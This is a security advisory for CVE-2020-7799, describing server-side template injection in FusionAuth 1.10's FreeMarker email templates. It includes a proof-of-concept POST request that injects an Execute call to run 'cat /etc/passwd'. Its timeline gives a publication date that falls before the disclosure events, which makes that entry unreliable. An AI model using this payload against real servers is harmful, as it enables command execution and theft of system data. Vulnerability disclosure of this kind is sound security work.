FusionAuth 1.10 Remote Command Execution

Risk: High
Local: No
Remote: Yes

CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

@Mediaservice.net Security Advisory #2020-03 (last updated on 2020-01-27) Title: FusionAuth command execution via Apache Freemarker Template Application: FusionAuth 1.10 and lower Platforms: Tested on Windows 10 and Ubuntu 19.10 Description: An authenticated attacker with enough privileges to access the template editing functions (either site templates or e-mail templates) in the FusionAuth dashboard can execute commands on the underlying operating system using the Apache FreeMarker Expression language. Author: Gianluca Baldi <gianluca.baldi@mediaservice.net> Vendor Status: https://fusionauth.io/contact - notified on 2019-10-24 CVE Name: CVE-2020-7799 References: https://lab.mediaservice.net/advisory/2020-03-fusionauth.txt https://fusionauth.io/ https://freemarker.apache.org/ https://www.mediaservice.net/ 1. Abstract. FusionAuth is a modern Access Management open source application, that can be integrated with multiple technologies and platforms. FusionAuth can be configured and customized in many ways from the administration dashboard and to do so privileged acounts can modify templates. FusionAuth Templates are in fact Apache Freemarker Templates, that are interpreted by the Apache Freemarker Templates Engine. Since it is possible to execute system commands using the Apache Freemarker Expression language, template editing features can be abused to execute remote commands effectively, using the "freemarker.template.utility.Execute" object. 2. Affected Platforms. This vulnerability is platform-independent. 3. Fix. This vulnerability has been fixed in version 1.11 of FusionAuth. 4. Proof of Concept. Example POST request (Home -> Settings -> Email Templates -> Preview): POST /ajax/email/template/preview HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: */* Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 796 DNT: 1 Connection: close Referer: Cookie: JSESSIONID=FA9DB3CBABA6B37E5336AE4B96001807; primeCSRFToken=kRC228UjAA4ohN_E9PW9kz0HpTlxUDCB_HVrDhBUfWU&emailTemplateId=2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b&emailTemplate.name=COPPA%20Notice&emailTemplate.defaultSubject=Notice%20of%20your%20consent&emailTemplate.fromEmail=no-reply%40fusionauth.io&emailTemplate.defaultFromName=FusionAuth&emailTemplate.defaultTextTemplate=You%20recently%20granted%20your%20child%20consent%20in%20our%20system.%20This%20email%20is%20to%20notify%20you%20of%20this%20consent.%20If%20you%20did%20not%20grant%20this%20consent%20or%20wish%20to%20revoke%20this%20consent%2C%20click%20the%20link%20below%3A%0A%0Ahttp%3A%2F%2Fexample.com%2Fconsent%2Fmanage%0A%0A-%20FusionAuth%20Admin&emailTemplate.defaultHtmlTemplate=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}} 5. Disclosure Timeline 2019-10-23 - First contact (issue in FusionAuth 1.9.1). 2019-10-24 - First PoC sent to the vendor. 2019-10-25 - Vendor investigates the issue. 2019-10-28 - Issue is confirmed and a disclosure date is agreed upon (2020-01-23). 2019-10-29 - Vendor silently releases a fixed version (FusionAauth 1.11.0). 2020-01-20 - Asked for updates on issue. 2020-01-20 - Vendor states that the issue has been fixed already. 2020-01-22 - Assigned CVE-2020-7799. 2019-02-27 - Advisory published. Copyright (c) 2020 Gianluca Baldi and @Mediaservice.net. All rights reserved.

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